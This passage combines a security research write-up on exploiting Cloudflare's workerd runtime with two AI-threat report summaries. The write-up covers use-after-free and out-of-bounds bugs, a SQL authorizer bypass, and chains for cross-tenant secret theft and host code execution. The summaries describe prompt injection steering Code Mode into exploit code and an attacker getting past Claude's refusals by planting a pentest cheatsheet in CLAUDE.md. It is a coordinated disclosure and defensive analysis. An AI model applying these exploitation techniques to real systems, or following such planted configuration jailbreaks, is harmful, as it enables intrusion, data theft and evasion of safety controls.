1. An in-process sandbox is a bold, inherently risky bet. Isolating untrusted code without an OS-level boundary means no VM, no container, just a V8 isolate inside a shared process. That puts the entire security model on a single software boundary. That kind of ambitious bet is exactly what’s worth stress-testing.
2. workerd had almost no public scrutiny.[7] Despite sitting directly on that boundary, there was barely any prior public vulnerability research on workerd, in stark contrast to V8, which is picked apart continuously.
3. The attack surface is huge. And it’s not just V8. workerd has its own implementation that exposes many Web/Node APIs, each written in C++ and reachable from untrusted JavaScript.
4. The blast radius reaches Cloudflare Workers. workerd isn’t only Code Mode’s runtime. It’s the engine behind Cloudflare Workers, one of the most widely deployed serverless platforms on the internet. A bug here would never have stayed contained to an experimental agent feature.
5. AI security has a low-level side too. Beyond the high-level frameworks, the internal, low-level layers that agents rely on to interact with the world deserve research as well.

5. The cage, memory protection keys, and Node

V8 is one of the most heavily attacked pieces of software around, with a long history of memory bugs, so Cloudflare assumes it can break and layers defenses so a compromise of one isolate doesn’t reach the host or other tenants.

Defenses

1. The V8 sandbox (“the cage”). The cage confines JS-reachable objects so a corrupted one can’t forge pointers outside it. Assume arbitrary read/write inside the cage, and stop it reaching memory outside.

2. Memory protection keys. As a further layer against V8 vulnerabilities, production also tags isolate-group memory with hardware memory protection keys (MPK / pkeys), so even with arbitrary read/write inside one isolate’s V8, an attacker still can’t read another tenant’s pages.

3. The L2 process sandbox. Underneath both sits a second-layer (“L2”) process sandbox, so even native code execution inside the process is meant to be contained. Per Cloudflare, the V8 Workers run in a strict layer-2 sandbox (Linux namespaces plus seccomp) that blocks all filesystem and direct network access,[8] limiting what a compromised process can reach on the host.

Attack Surface

Node. Real-world JavaScript assumes Node.js exists, and code constantly reaches for node:* modules, so workerd reimplements a large slice of the Node API in C++. This is exposed to JS through JSG, its “JavaScript Glue” layer. Node was never designed for a threat model where the attacker writes the JavaScript, so this drops a great deal of extra native code onto the boundary, much of it workerd’s own, and enabled by default (a Worker can just require('node:crypto')).

It also means more native objects allocated on the tcmalloc heap, which is secured by neither the cage nor the memory protection keys.

6. Bottom Line

Putting all of the above together, we did exactly that. We targeted workerd’s JSG code, the “JavaScript Glue” that hands native C++ to untrusted JavaScript, whether it is a Node reimplementation or one of workerd’s own API implementations. It is the code that had a fraction of V8’s scrutiny (§4), and the native objects it allocates sit on the tcmalloc heap, memory that lives outside both the cage and the memory-protection keys (§5). So a bug there is not boxed in the way a V8 bug is. It is exactly the surface those mitigations do not cover.

By going after that code we found five vulnerabilities, all of them in workerd’s own native code, each covered in the Vulnerabilities section (Part II).

Building on those bugs, we developed two end-to-end exploits, covered in the Exploits section (Part III).

1. Code Mode sandbox escape. Starting from a single prompt injection, the model is steered into writing attacker-controlled TypeScript. That TypeScript contains a memory-corruption which leads to native code execution, breaking out of Code Mode and running on the host, fully outside the V8 isolate.
2. Cross-tenant secret leak. Starting from a malicious Worker you deploy into Cloudflare’s shared pool, we show that one tenant can read another tenant’s memory and leak its secrets straight out of the shared process. This is the production scenario, and it holds up there because the whole exploit runs from the tcmalloc heap, the memory the cage and MPK do not cover.

But to be explicit, we did not run the exploit on Cloudflare production ourselves. Both exploits were verified on the self-hosted version of workerd. The cross-tenant idea should work the same way on production, since it runs entirely from the tcmalloc heap that the mitigations do not cover, but we did not test it there. On a shared host, a memory-corruption exploit that crashes the process could take other tenants down with it, and we were not willing to risk that.

Part II – The vulnerabilities

7. URLPattern out-of-bounds read

URLPattern is a Web API for matching a URL against a pattern, essentially what a router does. You build a pattern such as new URLPattern({ pathname: "/users/:id" }), call .exec() on a URL, and read back the named capture groups ({ id: "…" }). workerd exposes it to Workers, and in our setting the pattern itself is attacker-controlled.

workerd actually ships two URLPattern implementations. The first is the original, workerd-native one (the urlpattern_original compatibility flag). The second is the newer standard one backed by the Ada URL-parser library. We found the same out-of-bounds read in both implementations, and it gives the same primitive.

7.1 Root cause

Under the hood, URLPattern turns your pattern into a regular expression. Matching a URL then produces two parallel lists: the matched values (one per capture group in the regex) and the group names.

A quick example of the benign case:

Figure 3 – URLPattern: pattern → result

URLPattern also lets you drop raw regex straight into a pattern, with named or unnamed groups. For example, /(\d+)/(?<slug>[a-z]+) has one unnamed group and one named group:

Figure 4 – URLPattern with named group

Here is the implementation. When you call .exec(), workerd runs the compiled regex against the URL and builds the groups object from the result. The original, workerd-native version does it like this:

// urlpattern.c++: building the groups object from a regex match
KJ_IF_SOME(array, regex.getHandle(js)(js, input)) {  // run regex vs URL
  uint32_t index = 1;                                // [0] is full match, skip
  uint32_t length = array.size();                    // 1 + capture count values
  kj::Vector<Groups::Field> fields(length - 1);

  while (index < length) {                           // each capture value
    auto value = array.get(js, index);
    fields.add(Groups::Field{
      .name = kj::str(nameList[index - 1]),           // name by position
      .value = value.isUndefined() ? kj::String() : kj::str(value),
    });
    index++;
  }
  // ...
}

For each capture group, the loop builds one { name, value } field. The value is what the regex matched in the URL. The name is the group’s name (like id from earlier), taken from the nameList vector.

The two sides of that pairing come from completely different places, and that is the part to hold onto:

• length comes from V8. It’s the size of the match array V8 returns after running the compiled regex, i.e. how many capture groups the regex actually produced.
• nameList comes from URLPattern’s own implementation. It’s the list of names workerd assembled while parsing the pattern, before the regex ever ran.

Figure 5 – The group-count mismatch

The loop lines them up position by position, on the assumption that the two counts agree.

So the whole thing rests on those two counts staying equal, and they don’t always. When URLPattern parses the pattern to build nameList, its own group counting misses a group nested inside another group. V8, compiling the real regex, counts every group, nested ones included. So a pattern with one group nested inside another, like (ab(cde)), gives V8 two capture groups where URLPattern counted only one, and length ends up larger than nameList:

const pattern = new URLPattern({ pathname: "/(ab(cde))" });
pattern.exec({ pathname: "/abcde" });   // V8: 2 groups, nameList: 1 name → OOB

Now the loop runs one step too far. For that extra value, index - 1 points past the end of nameList, and kj::str(nameList[index - 1]) reads from beyond the vector, an out-of-bounds read. That is the bug.

7.2 Why an OOB read is an arbitrary read

nameList is a kj::Vector<kj::String>. A kj::String is 24 bytes:

Figure 6 – kj::String memory layout

The OOB index makes kj::str() read 24 bytes of whatever follows the vector and treat it as a kj::String, then dereference ptr to copy out the “string.” So if we control the memory after nameList, we control ptr, and the returned JS string is the bytes at an address of our choosing. OOB read → arbitrary read.

7.3 Two notes

• The same bug is in both implementations, and the Ada one reaches production. The standard, Ada-backed URLPattern makes the identical counting mistake, with the same out-of-bounds read. We confirmed the Ada version triggers on Cloudflare production, and reported it to the Ada maintainers in parallel.
• Our full end-to-end exploit was on the original implementation, self-hosted. Turning the read into a working cross-tenant secret leak was demonstrated against urlpattern_original on self-hosted workerd. That exact path did not reproduce on production, because production has a check the open-source build lacked.

8. zlib deflateParams() UAF

zlib is the most common compression library around. Node.js ships it as the built-in node:zlib module, and to stay Node-compatible workerd reimplemented it in C++. It exposes a handful of APIs. The basic ones compress and decompress via Gzip, Deflate/Inflate, and Brotli. In workerd it comes with the nodejs_compat flag (compatibility date 2024-09-23 or later).

8.1 Dangling buffers

Let’s look at a basic use of zlib. You call write() with an input buffer and an output buffer, and zlib compresses the input into the output.

const input  = Buffer.from("hello world");
const output = Buffer.alloc(64);
handle.write(input, output);   // compress input → output

Those three lines already span three distinct layers:

1. JavaScript (V8): creates the input and output buffers.
2. workerd’s glue code: the translation layer between JavaScript and native C++, turning those buffers into the raw pointers and lengths the C library expects.
3. zlib: the C compression library that does the actual work.

The buffer to watch is output. As it moves, its pointer is passed between all three layers, handled differently in each. So let’s take it one layer at a time, starting on the JavaScript side.

On the JavaScript side, output is reference-counted: it stays alive as long as at least one reference points at it. Follow that count through a single write():

• const output = Buffer.alloc(64). The JS variable holds it: refcount 1.
• handle.write(input, output, …). As the buffer crosses into native code, workerd takes a reference of its own for the duration of the call: refcount 2. That extra reference is what guarantees the buffer can’t be freed while zlib is mid-compression.
• write() returns, and workerd drops its reference again: back to refcount 1, held by the JS variable.
• nothing holds output anymore (it goes out of scope, or is reassigned), so the last reference is gone: refcount 0.

Figure 7 – output refcount lifecycle

Now follow the same buffer into the native side. To hand output to zlib, workerd fills in a z_stream(zlib’s state struct), copying the buffer’s raw address into its next_out field, the pointer zlib writes its compressed output through. That copy happens in setBuffers, on every write():

// zlib-util.c++
void ZlibContext::setBuffers(kj::ArrayPtr<kj::byte> input, kj::ArrayPtr<kj::byte> output) {
  stream.avail_in  = input.size();
  stream.next_in   = input.begin();    // raw pointer into the JS input buffer
  stream.avail_out = output.size();
  stream.next_out  = output.begin();   // raw pointer into the JS output buffer
}

And write() forgets to clear them. When it returns, it resets nothing in the z_stream. next_out still holds the raw address of output. Clearing it is workerd’s job, and the write path simply doesn’t.

The same sequence, now with stream.next_out shown alongside:

Figure 8 – next_out left dangling

Nothing ever clears next_out after setBuffers sets it. So once output’s refcount reaches 0, the buffer becomes garbage, and the next garbage-collection event reclaims its memory, leaving next_out pointing into freed memory.

8.2 The Use in Use-After-Free

We now have a dangling next_out, and the next step is to find who writes through it.

We started in workerd’s own code, but next_out is zlib’s field, and it is zlib, not workerd, that writes output through it. So the real question is where, inside the zlib library, next_out gets written.

The obvious place is an ordinary compression step: deflate() (and inflate()), the functions that push output through next_out. But in workerd that path is only ever reached through write(), and write() runs setBuffers first, resetting next_out to a fresh buffer before deflate() runs. The stale pointer is overwritten before it is ever used. No good.

What we found instead is deflateParams, reached from handle.params(), the call that adjusts the compression parameters, like the level (how hard zlib compresses). It touches the same z_stream and, crucially, does not reset next_out first:

// zlib-util.c++ — ZlibContext::setParams(), reached from handle.params()
err = deflateParams(&stream, _level, _strategy);

That hands zlib the same z_stream, still carrying the stale next_out from the last write(). And rather than clearing next_in/next_out, deflateParams flushes whatever output zlib still has buffered before it applies the new settings:

// zlib - deflate.c, deflateParams() (trimmed)
func = configuration_table[s->level].func;
if ((strategy != s->strategy || func != configuration_table[level].func)
        && /* there is data still pending */) {
    /* flush the last buffer */
    deflate(strm, Z_BLOCK);   // flush pending output through strm->next_out
}
s->level    = level;          // new config applied only after the flush
s->strategy = strategy;

If the level or strategy changes and data is still pending, zlib calls deflate() to flush it before updating the config, and that deflate() writes through strm->next_out, the dangling pointer.

But there is still a problem. When we called write(), zlib already compressed the data we handed it, so how are we supposed to have any bytes still pending for deflateParams to flush?

8.3 Z_NO_FLUSH

Each zlib write takes a flush mode controlling how eagerly output is emitted. Passing Z_NO_FLUSH tells zlib to hold compressed output in its internal buffer rather than push it all out through next_out, so the write() returns with data still pending. That pending data is exactly what deflateParams flushes.

8.4 Putting everything together

The whole use-after-free is a handful of JavaScript calls. Tracking outBuf’s refcount and next_out across the full cycle, the same way we did on the JavaScript side:

Figure 9 – The zlib use-after-free

9. HTMLRewriter AttributesIterator UAF

HTMLRewriter is a Workers API for transforming HTML as it streams through. A Worker can rewrite tags, attributes, and text on the fly without buffering the whole document. workerd exposes it on top of lol-html, Cloudflare’s Rust streaming HTML rewriter, through a layer of C++ bindings.

The bug is in those bindings, not in lol-html. When you ask an element for an attributes iterator, the C++ binding grabs a raw pointer into the element’s internal attribute array and reads through it on each next(). Adding attributes with setAttribute grows that array, and once it outgrows its capacity the array reallocates to a new location and the old one is freed, but the iterator is still pointing at the old, now-freed array. The next next() reads from that freed memory:

new HTMLRewriter().on('div', {
  element(el) {
    const iter = el.attributes[Symbol.iterator](); // pointer into backing array
    iter.next();                                   // reads backing array
    for (let i = 0; i < 10000; i++)                // grow attributes...
      el.setAttribute(`x${i}`, 'A'.repeat(100));   // ...until it reallocates

    const leaked = iter.next().value;              // iter → freed array: UAF
  }
});

10. KV SQL bypass → arbitrary deserialization

The other four bugs are memory-corruption. This one is a classic that leads to arbitrary deserialization.

10.1 Durable Objects

Workers are stateless. Each request runs in a fresh, short-lived context, and nothing held in memory survives to the next one. Durable Objects are Cloudflare’s answer to that: a Durable Object is a single, uniquely-addressable instance that stays alive and keeps its state across requests, both in memory and in private, strongly-consistent storage. It’s how you hold persistent, coordinated state on the edge: a chat room, a live document, a counter.

That storage has a newer SQLite backend, and a Worker can reach the same database in two ways:

1. the key/value API (storage.get / put), which stores each value serialized with the structured-clone algorithm, and
2. the SQL API (storage.sql.exec), which runs raw SQL against the same database.

The key/value data lives in a reserved SQLite table, _cf_KV, and reading a value back deserializes its bytes with V8’s structured-clone deserializer, including workerd’s handlers for internal types.

10.2 The authorizer bypass

A SQL authorizer guards those internal tables. It rejects any query that touches a _cf_-prefixed table: CREATE, SELECT, INSERT, UPDATE, DROP, all of it. But we found one operation it forgot to check.

The authorizer validates the tables a query references, but not the destination name of a rename. So while every direct query against _cf_KV is rejected, nothing stops you from creating an ordinary table under an allowed name and then renaming it with ALTER TABLE … RENAME TO _cf_KV. You build the table under a name the authorizer permits, fill it with crafted bytes, and rename it into place:

CREATE TABLE kv_tmp (key TEXT, value BLOB);          -- allowed
INSERT INTO kv_tmp VALUES ('k', <attacker bytes>);   -- crafted payload
ALTER TABLE kv_tmp RENAME TO _cf_KV;                 -- not checked → now KV

A later key/value read (storage.get('k')) then feeds those attacker-controlled bytes straight into workerd’s internal deserializers, exactly the untrusted input they were never meant to handle.

We didn’t continue from here. The point is the attack surface. A malicious Worker can control the bytes fed to V8’s deserializer, which will deserialize any object it supports, including workerd’s own internal types. And while we stopped there, the surface is worth stressing: that deserializer was built for trusted, in-process data, and unlike V8’s parser and JIT, it isn’t fuzzed for hostile input. That makes it a very strong attack surface, and a well-worn path to type confusion and memory corruption.

Part III – The full chain and its impact

11. Cross-tenant secret theft (Workers)

Cloudflare Workers run the same workerd and the same many-tenants-one-process model from §2. Different customers’ Workers run as separate V8 isolates inside one OS process, sharing one address space and one native (tcmalloc) heap. The isolate is the only wall between them, and that wall is in V8, not on the native heap.

Figure 10 – Cross-tenant OOB read

So the URLPattern read from §7 isn’t just a crash, it’s a way for a Worker you deploy to read another tenant’s memory out of that shared heap. Here is how that out-of-bounds read becomes a private key read from a different Worker. Everything below operates on the tcmalloc heap, outside the cage and the memory-protection keys (§5).

11.1 The strategy

Recall the primitive from §7. The read goes one entry past the end of nameList, treats those 24 bytes as a kj::String { ptr, size, disposer }, and returns the bytes at ptr. So if we control whatever sits right after nameList, we control that fake kj::String, and reading one attacker-chosen kj::String is reading any address we point it at:

Figure 11 – Fake kj::String read primitive

That is the basic primitive. What we actually want is to sweep another tenant’s memory for secrets, to read anywhere in the process, and to do it with as little heap spraying as possible. To get there we need three things:

1. Break ASLR. Leak a real heap address, so we know where to read.
2. Control the ptr of the fake kj::String. So we can read the bytes at any address we choose.
3. Make it repeatable. Read one address after another without re-shaping the heap each time.

11.2 Sizing nameList

One lever first, because it makes the rest easier. nameList’s size is ours to choose. Its length is just the number of capture groups the pattern declares, so padding the pattern with extra groups grows the kj::Vector<kj::String> to whatever size we want. tcmalloc places allocations by size class, so choosing nameList’s size chooses the neighborhood it lands in, and picking the size class is what makes landing our own allocations right next to it reliable.

11.3 Defeating ASLR

A read is only useful once we know where to aim it, and ASLR hides that. To beat it we just need to leak any one real heap address. The out-of-bounds read already returns whatever the fake kj::String’s ptr points at, so if we arrange for ptr to point at a location that itself holds a heap pointer, the read hands that pointer’s bytes back to us as a string:

Figure 12 – Leaking a heap pointer

So we need an object right after nameList with two things:

1. ptr (first 8 bytes), points at a heap pointer, so dereferencing it leaks a heap address.
2. size (next 8 bytes), a small, valid length: not zero, not a pointer, just short enough that the read returns a sane string.

We didn’t find a real object whose layout already satisfies both, so as a last resort we turned to the tcmalloc free list, and it has two properties that fit perfectly:

1. The first 8 bytes of a freed chunk are the next pointer (to the next free chunk), which is requirement #1.
2. The rest of the chunk, including bytes 8–15, is left untouched by the free, so a size we wrote there earlier stays put. That is requirement #2.

So what we can do is allocate a chunk right after nameList, write size = 8 into its bytes 8–15, and free it. The free turns its first 8 bytes into a next pointer to the next free chunk, while our size = 8 survives:

Figure 13 – Freelist next-pointer overwrite

The read hands back that heap pointer as bytes. Since tcmalloc aligns its heap to a 1 GB boundary, one leaked pointer gives us the heap base.

11.4 A repeatable read with VFS files

ASLR gives us an address. Now we want to read many, to sweep the heap. The problem is doing that without re-shaping every time. If reading a new address meant a fresh allocation, we’d have to land it next to nameList again on each read. What we need instead is an allocation we can keep in place and change in-place, so we just rewrite the target pointer and read again.

The best fit we found is a workerd API called VFS, a virtual (memory-only) filesystem. A VFS file’s contents are a native kj::heapArray on the tcmalloc heap, and crucially we can overwrite those contents at will without reallocating. It also lets us pick the file’s size, so we match nameList’s size class and a sprayed file lands right after it.

The idea is to shape the heap once so a VFS file lands right after nameList, then read any address by rewriting that file’s bytes in place and calling exec() again, with no re-shaping per read:

Figure 14 – Repeatable read via VFS

(This works because nameList is allocated when the URLPattern is constructed, but the out-of-bounds read only fires later on exec(), so the shaped layout persists across reads.)

11.5 Reading another Worker’s secret

From here it’s just a sweep. We walk the heap with the repeatable read and look for bytes that look like a secret, in the PoC, Bearer sk…-style API tokens, until we find one belonging to a co-located Worker.

12. Sandbox escape: from the zlib UAF to host RCE

The second demo stays inside Code Mode and goes all the way to native code on the host, starting from the zlib use-after-free of §8.

12.1 Improving the primitive

Recall what §8 gives us, broken into the pieces we’ll build on:

• A use-after-free write. When params() flushes, zlib writes through the stale next_out into the output buffer, after that buffer has been freed and its slot can be reused.
• A controllable allocation size. We choose the size of the output buffer, which decides which freed slot the write targets and what we can spray into it.

Our primitive, then:

Figure 15 – Reusing the freed buffer

And the write isn’t clean. The first 5 bytes of every flush are compression metadata.

Two improvements make it precise:

1. The offset of the write. workerd’s write() lets us choose where in the output buffer zlib starts writing. Alongside the buffer it takes an output offset, and zlib sets next_out = buffer + offset, so the write lands at freed + offset, a precise spot inside the reused object instead of always at its start.

2. The size of the write. We also keep the flush small, down to a single 8-byte field, so the write overwrites exactly the field we’re aiming at, rather than splattering the whole object around it.

Together that turns a blunt write at the top of the buffer into a small write landing exactly on a field we pick:

Figure 16 – Flush at chosen offset

12.2 From use-after-free to repeatable read/write

You might still be wondering how an imprecise write is exploitable at all. We control where it lands, but not the bytes. The trick with this kind of primitive is to stop caring about the bytes. Instead of writing a value, you find a “strong” object and overwrite its size / length field. You don’t need the exact bytes, you just need to make that length bigger. A bloated length turns the object’s own bounded read/write into an out-of-bounds read/write, and that you can build on.

The strong object we use is, again, a VFS file, but this time we corrupt the file’s metadata (the FileImpl object that tracks where the file’s data lives and how long it is), not the file’s contents:

Figure 17 – FileImpl metadata layout

With a FileImpl in the freed slot, we aim the UAF write at offset 0x20 so it lands on data.size and inflates the length.

Why does a bigger data.size matter? The file’s data lives at data.ptr, and data.size is the length workerd treats as its bounds, any read or write through the file API is allowed as long as it stays within [0, data.size) of data.ptr. Normally data.size matches the real buffer, so the file stays in bounds. After we inflate it, that bound now covers the real buffer and whatever heap follows it, so a file read or write past the real buffer still passes workerd’s bounds check and is carried out normally, even though it now reaches into adjacent memory:

Figure 18 – Inflating data.size out-of-bounds

And the file API makes that precise. Node’s fs read/write take a position argument (the file offset to read or write at, passed straight to the call, no separate seek), plus a length, so we can land exactly on any spot at data.ptr + position. To read 8 bytes from an out-of-bounds offset:

Figure 19 – OOB read via readSync

And to write 8 bytes at an out-of-bounds offset. Here the bytes are ours, it’s an ordinary file write:

Figure 20 – OOB write via writeSync

So one inflated length turns the VFS file into an out-of-bounds read and write at any offset across the heap.

12.3 Arbitrary read/write

OOB across adjacent heap is strong, but it only reaches forward from one buffer and the exact distances depend on the layout. We upgrade it to a clean, anywhere-in-the-process read/write with a second FileImpl.

The idea is to use the OOB write from the inflated file to reach a second FileImpl sitting further along the heap, and overwrite its data.ptr with any address we want. That second file’s metadata now says “your contents live at <address>”, so an ordinary read or write of the second file reads or writes that address:

Figure 21 – Arbitrary read/write primitive

And it’s repeatable. To hit a new address we just rewrite the second file’s data.ptr through the first file again and read/write once more, with no re-triggering the bug. That gives us a stable arbitrary 64-bit read and write across the whole process, the same shape of primitive we built for the cross-tenant read in §11.

12.4 To native code

On the self-hosted build the V8 sandbox is off, which makes the finish almost trivial. Normally turning a memory read/write into code execution means defeating W^X with a ROP chain and chasing per-version gadget offsets. Here we don’t have to. With the sandbox off, workerd reserves V8’s code region as a 256 MB read-write-execute (RWX) mapping at a fixed address, 0xaaaaf0000000, present from process startup, no leak required. So we skip ROP entirely.

The finish is simple. Use the arbitrary write to drop ARM64 shellcode (a reverse shell) into that RWX region, then redirect a function pointer to it. The pointer we hijack belongs to the zlib stream itself, the native write callback that handle.write() invokes (reached through the z_stream, which we locate via its avail_in field). We overwrite that callback’s target with our shellcode address and then call handle.write() once more. Instead of running zlib’s write path, control jumps to the shellcode, native code in the host process, out of the V8 isolate entirely.

Cage-off caveat. This chain was built against a self-hosted workerd compiled with the V8 sandbox off, which lets ArrayBuffer backing stores and native C++ objects share one heap, exactly what the FileImpl overlap relies on (and how Code Mode runs, §5). The underlying UAF is independent of the cage, but with the cage on this specific FileImpl technique would not work as-is. Reaching RCE there would need a different post-UAF path.

Part IV – Takeaways and disclosure

13. Defensive takeaways

• The engine is not the whole boundary. Hardening V8 and shipping the cage is necessary, not sufficient. Every native API reachable from untrusted JS is part of the boundary.
• Glue layers deserve first-class security review. JSG marshals lifetimes and pointers across the JS/native seam. That’s exactly where UAFs and missing bounds checks live. It had a fraction of V8’s scrutiny.
• Native allocations need their own threat model. tcmalloc free-list behavior, VFS buffers, and kj containers live outside the cage. If the cage is your isolation story, the things it doesn’t cover are your attack surface.
• Agent-generated code is normal code. In Code Mode the model writing exploit-shaped TypeScript isn’t an exceptional event, it’s the intended mode of operation. Prompt injection is a code-execution entry point, and should be modeled as one.

Disclosure timeline

All five vulnerabilities were reported to Cloudflare through HackerOne under coordinated disclosure.

Date	Event
February 1, 2026	4 of the 5 vulnerabilities reported via HackerOne (zlib UAF, HTMLRewriter UAF, both URLPattern OOB reads)
March 11, 2026	Cloudflare rated two of them Critical (zlib UAF, HTMLRewriter UAF)
March 12, 2026	The 5th, the KV SQL-bypass → deserialization, reported
Aug 5–6, 2026	Public reveal at Black Hat USA 2026 (Mandalay Bay)

Cloudflare’s responses and confirmations:

• Two rated Critical. Cloudflare rated the zlib use-after-free and the HTMLRewriter use-after-free as Critical.
• Production reach. Cloudflare confirmed that the bugs reproduce on Cloudflare production, with one exception. The original URLPattern out-of-bounds read (urlpattern_original) does not trigger there (the Ada-backed standard URLPattern does).
• The cage doesn’t cover the heap we used. Cloudflare confirmed our central claim, that the tcmalloc native heap is outside both the V8 sandbox (cage) and the memory-protection keys. Exactly the memory every primitive in this post operates on.
• Fix. Cloudflare’s managed Workers were fixed in production, and workerd v1.20260619.1 closes all of these bugs for self-hosted deployments. As of now, Cloudflare has not assigned CVEs.

Links

1. Cloudflare Q1 2026 earnings call (May 7, 2026), “Developers on Cloudflare’s platform increased to more than 5.5 million…”: https://www.theglobeandmail.com/investing/markets/stocks/NET/pressreleases/1904486/cloudflare-q1-earnings-call-highlights/
2. “go from no traffic at all to millions of requests per second instantly”: https://blog.cloudflare.com/workerd-open-source-workers-runtime/
3. “More than 10% of all requests flowing through our network today use Cloudflare Workers”: https://blog.cloudflare.com/cloudflare-workers-serverless-week/
4. “LLMs are better at writing code to call MCP, than at calling MCP directly” : https://blog.cloudflare.com/code-mode/
5. “workerd is Open Source under the Apache License version 2.0” (post dated 2022-09-27) : https://blog.cloudflare.com/workerd-open-source-workers-runtime/
6. “we prohibit the sandboxed worker from talking to the Internet. The global fetch() and connect() functions throw errors” : https://blog.cloudflare.com/code-mode/
7. only two published security advisories, both Moderate : https://github.com/cloudflare/workerd/security/advisories
8. “The ‘layer 2’ sandbox uses Linux namespaces and seccomp to prohibit all access to the filesystem and network” : https://blog.cloudflare.com/mitigating-spectre-and-other-security-threats-the-cloudflare-workers-security-model/
9. no public link, Cloudflare coordinated-disclosure correspondence. Cloudflare confirmed there are no MPK protection keys on the tcmalloc allocations.

The post When Agentic Glue Melts: Exploiting Cloudflare Code Mode and Workers appeared first on Check Point Research.

For years, the cyber security industry tracked AI as a force multiplier: something that made existing attack techniques faster, cheaper, and more accessible. That framing was accurate. But the Annual AI Security Report 2026 from Check Point Research documents a transition that goes further. AI has crossed from assistant to operator. Where it once helped attackers prepare, it now runs the operation.

Key observed findings

• AI has crossed from development aid to live attack operator. It now does the hands-on work inside live intrusions, from China-nexus espionage campaigns to a criminal breach of multiple Mexican government agencies and has spread from nation states to ordinary cyber criminals. 
• AI now builds deployment-ready malware and attack suites. Its involvement is often invisible in the finished artifact: one developer used an AI environment to produce VoidLink, an 88,000-line command-and-control offensive framework, in under a week. 
• Attackers prefer commercial models, and now abuse them by exploiting the agentic architecture, not just single prompts. Most actors favor jailbroken mainstream models over self-hosted ones, and the durable bypass is now a planted configuration file an agent loads and trusts across sessions. 
• An AI-enabled criminal tooling market has matured. Phishing-as-a-service kits now embed a language model with the jailbreak built in, and conversational AI voice-agent services run vishing and one-time-passcode theft at scale.
• Virtual Identity is no longer a reliable trust anchor. Voice, face, documents, and live video are now cheap to forge convincingly and are widely used in attacks taking multi-channel social engineering to a new level of integration. 
• AI itself is an expanding attack surface. Models cannot always separate data from instructions and content they process might influence the model’s behavior; the surrounding stack adds ordinary software vulnerabilities and supply-chain risk, all in a rapidly evolving ecosystem where security practices not always mature. 
• Indirect prompt injection is on the rise. Detections of longer malicious payloads increased sharply, rising roughly fivefold between March and May 2026 and approaching 1% of observed prompts in May. Longer payloads are more typical of content-borne and agentic attack paths, this pattern suggests that indirect prompt injection is becoming more operationally relevant. 
• Enterprise data leakage through GenAI is persistent and growing risk. High-risk prompts doubled from 2% to 4% during the last year, while organizations used an average of 10 AI applications each month, many without official approval. 
• Data exposure risks are not evenly distributed across the verticals. Sector-level analysis reveals that AI-related data exposure risks are not evenly distributed across the verticals, and correlate both with AI usage patterns and security maturity. Business Services recorded the highest rate of high-risk GenAI prompts at 5.91%, meaning nearly one in every 17 AI interactions carried a significant risk of sensitive data exposure. 

To read the full findings, access the AI Security Report 2026 from Check Point Research here. 

The post AI Security Report 2026 appeared first on Check Point Research.

Executive Summary

During the March–April 2026 reporting period, AI use in offensive operations advanced from development and planning to real-time operational deployment. Multiple independent cases, involving individual criminal actors, mass exploitation platforms, ransomware groups, and state-sponsored espionage, show evidence of commercial AI models executing autonomous attack workflows across extended campaigns.

Key findings:

• AI-orchestrated attacks have progressed from experimental, state-sponsored use to in-the-wild criminal deployment. Multiple criminal operations relied on commercial Claude Code as a persistent operational tool in multi-week campaigns.
• Agentic configuration files are being weaponized as persistent jailbreak vectors. Hooks, project-level files, and settings files abuse the operational control level and redefine the model behaviour at the architecture level.
• AI-enabled attack platforms are commercializing AI capabilities. Operators can now buy access to platforms where the AI pipeline, model selection, jailbreak, and delivery mechanisms are embedded in the product.
• AI provider credentials have become a high-value target. As commercial AI services become central to offensive operations, API keys for Anthropic, OpenAI, Groq, Mistral, and HuggingFace are harvested at scale from compromised .env files, providing access without registration and resilience against provider attempts to revoke this access.

AI as Live Attack Operator

AI selection considerations

Underground forum discussions still show actors debating the use of commercial models, dedicated jailbreak services, or locally hosted open-source models, reflecting the lower-skill end of AI adoption. More advanced actors combine tools pragmatically: from commercial AI models, open or uncensored models where commercial providers restrict output, and custom automation pipelines that perform repetitive analysis at scale. Tasks are systematically broken down into smaller sub-requests that present a lower apparent risk profile.

Forum users further discuss and share methods and alternatives to avoid mainstream-provider safety controls by mixing open-weight Chinese frontier models, privacy-routed proxies, and explicitly uncensored services.

The Mexico Breach

When Anthropic disclosed GTG-1002, a Chinese nexus campaign using Claude Code for cyber espionage, in November 2025, this was seen as an experimental, state-sponsored development. The disclosure carried no IoCs and was therefore disputed by independent researchers, and the activity was detected only through Anthropic’s own API monitoring. The Mexico breach, which occurred a few months later, demonstrates similar architecture in operational, financially motivated criminal use, at scale, and with a recovered forensic record.

Between late December 2025 and mid-February 2026, a single operator compromised nine Mexican government agencies. Researchers documented the case after recovering materials from attacker-controlled VPS servers. Details include the operational record: 1,088 attacker prompts generating 5,317 AI-executed commands across 34 sessions.

The breach scope was significant: tax records, civil registry data, vehicle records, patient files, and electoral infrastructure were affected. However, an even more important lesson is how the campaign was run.

The operator built a dual AI workflow. Claude Code served as the interactive exploitation assistant, helping advance access, write exploits, build tunnel chains, map victim environments, and escalate privileges. In parallel, harvested server data was processed through GPT-4.1 for automated intelligence analysis. The GPT output was then used to task new Claude sessions.

As we highlighted in our previous review, the agentic infrastructure itself was exploited to bypass the model’s safety restrictions. At the start of the campaign, Claude refused to execute requests which it correctly identified as offensive cyber activity. The attacker then changed tactics. Instead of asking Claude to generate malicious content directly, they pasted a large penetration-testing cheatsheet into CLAUDE.md in the project root, the file Claude Code automatically loads as persistent project context at the start of every session. From that point on, subsequent sessions inherited the rules and techniques in that file. The attacker did not need to repeat the jailbreak as the behavior persisted through the project configuration layer. After gaining root on a civil registry server, the model’s actions in subsequent sessions were consistent with the persistent cheatsheet, including unprompted post-exploitation steps such as shadow file extraction and timestamp cleanup.

Bissa Scanner

A second documented case, Bissa Scanner, was published in April 2026, after researchers identified an exposed operator server. Bissa is a modular mass-exploitation platform built around React2Shell (CVE-2025-55182), with 900+ confirmed compromises across millions of scanned Next.js endpoints and an archive of 30,000+ distinct .env filenames recovered from operator-controlled S3 storage. The operation has been running since September 2025. Here, AI is positioned one step back from the exploitation layer: Claude Code and OpenClaw (running claude-sonnet-4-6, with a Telegram bot for triage alerting) served as the operator’s working environment for reading the scanner codebase, troubleshooting, refining the collection pipeline, and prioritizing high-value access. No jailbreak was documented and commercial Claude was accessed through the standard API.

Bissa harvested .env files specifically for AI provider credentials (Anthropic, OpenAI, Groq, Mistral, OpenRouter, HuggingFace, Replicate, DeepSeek). AI provider credentials have become a deliberate target, valuable enough for sophisticated operators to enumerate and harvest at scale alongside conventional credential theft. These credentials are likely intended to be used in future offensive criminal activity and attribute it to the legitimate account holder instead of the attacker.

Agentic Configuration Files: A Persistent Attack Surface

